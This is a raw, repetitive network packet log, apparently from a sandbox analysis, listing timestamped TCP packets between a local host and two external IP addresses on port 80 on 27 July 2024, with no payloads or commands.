Jul 27, 2024 05:39:09.194869995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194916964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194917917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194948912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.194960117 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194991112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.194996119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195027113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195058107 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195065975 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195097923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195103884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195146084 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195152044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195183039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195199013 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195221901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195228100 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195259094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195269108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195291042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195301056 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195321083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195336103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195352077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195373058 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195383072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195394993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195421934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195430040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195461035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195487976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195494890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195507050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195527077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195538044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195558071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195586920 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195609093 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195616961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195627928 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195648909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195657969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195694923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195749998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195781946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195795059 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195812941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195827961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195852995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195859909 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195889950 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195916891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195935011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195935011 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195966959 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.195976019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.195997953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196018934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196043968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196047068 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196078062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196105003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196109056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196124077 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196141005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196146011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196171999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196202040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196211100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196233034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196243048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196265936 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196274042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196295977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196305037 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196327925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196336031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196357965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196367979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196389914 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196398973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196420908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196434021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196451902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196465015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196496010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196501017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196532965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196557045 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196563005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196574926 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196594954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196605921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196625948 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196661949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196674109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196693897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196705103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196726084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196738958 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196755886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196764946 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196788073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196794987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196819067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196825027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196851015 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196881056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196891069 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196913958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.196923018 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.196957111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.200021982 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.200094938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.201459885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201507092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201539040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201556921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.201569080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201590061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.201601982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201621056 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.201632977 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201659918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.201664925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.201680899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.201713085 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.232599974 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.232835054 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.235651016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235713005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235742092 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235764980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235785961 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235800028 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235815048 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235836029 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235845089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235860109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235873938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235882044 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235903978 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235909939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235933065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.235974073 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.235975981 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236004114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236032963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236043930 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236059904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236068010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236099958 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236103058 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236130953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236143112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236165047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236170053 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236208916 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236232996 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236237049 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236262083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236265898 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236278057 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236294031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236308098 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236320972 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236330032 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236350060 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236358881 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236377954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236392021 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236406088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236416101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236434937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236448050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236463070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236478090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236502886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236511946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236541986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.236557007 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.236579895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.237775087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.237798929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.237874985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.237898111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.238265038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.238635063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.238662958 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.282732010 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282778978 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282813072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282844067 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282860041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.282876968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282902956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.282910109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.282918930 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.282946110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.282946110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.284697056 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285058022 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285105944 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285116911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285160065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285165071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285197973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285207987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285233021 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285238028 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285270929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285281897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285314083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285325050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285347939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285351992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285379887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285387993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285429001 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285458088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285474062 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285501957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285505056 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285536051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285567999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285579920 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285598993 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285604954 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285630941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285635948 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285661936 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285671949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285697937 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285739899 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285743952 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285775900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285819054 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285825014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285867929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285872936 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285901070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285932064 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285944939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285964012 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.285973072 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.285995007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286010027 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286026955 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286036015 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286057949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286088943 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286103964 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286119938 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286132097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286150932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286163092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286180973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286226988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286228895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286274910 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286307096 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286315918 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286339998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286348104 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286372900 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286377907 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286403894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286417961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286434889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286443949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286465883 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286472082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286499023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286508083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286530018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286544085 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286566019 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286577940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286608934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286640882 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286657095 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286681890 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286688089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286720037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286751032 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286765099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286788940 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286797047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286828995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286859989 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286865950 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286890030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286925077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286935091 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286956072 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.286961079 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.286988020 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287018061 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287029982 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287050009 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287053108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287081003 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287087917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287113905 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287122965 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287146091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287153959 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287178993 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287184000 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287210941 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287216902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287242889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287246943 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287275076 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287283897 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287312984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287317038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287345886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287359953 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287378073 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287384033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287410975 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287421942 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287445068 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287447929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287472963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.287489891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.287511110 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.293190956 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293256044 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293287992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.293307066 CEST	49476	80	192.168.2.4	185.215.113.16
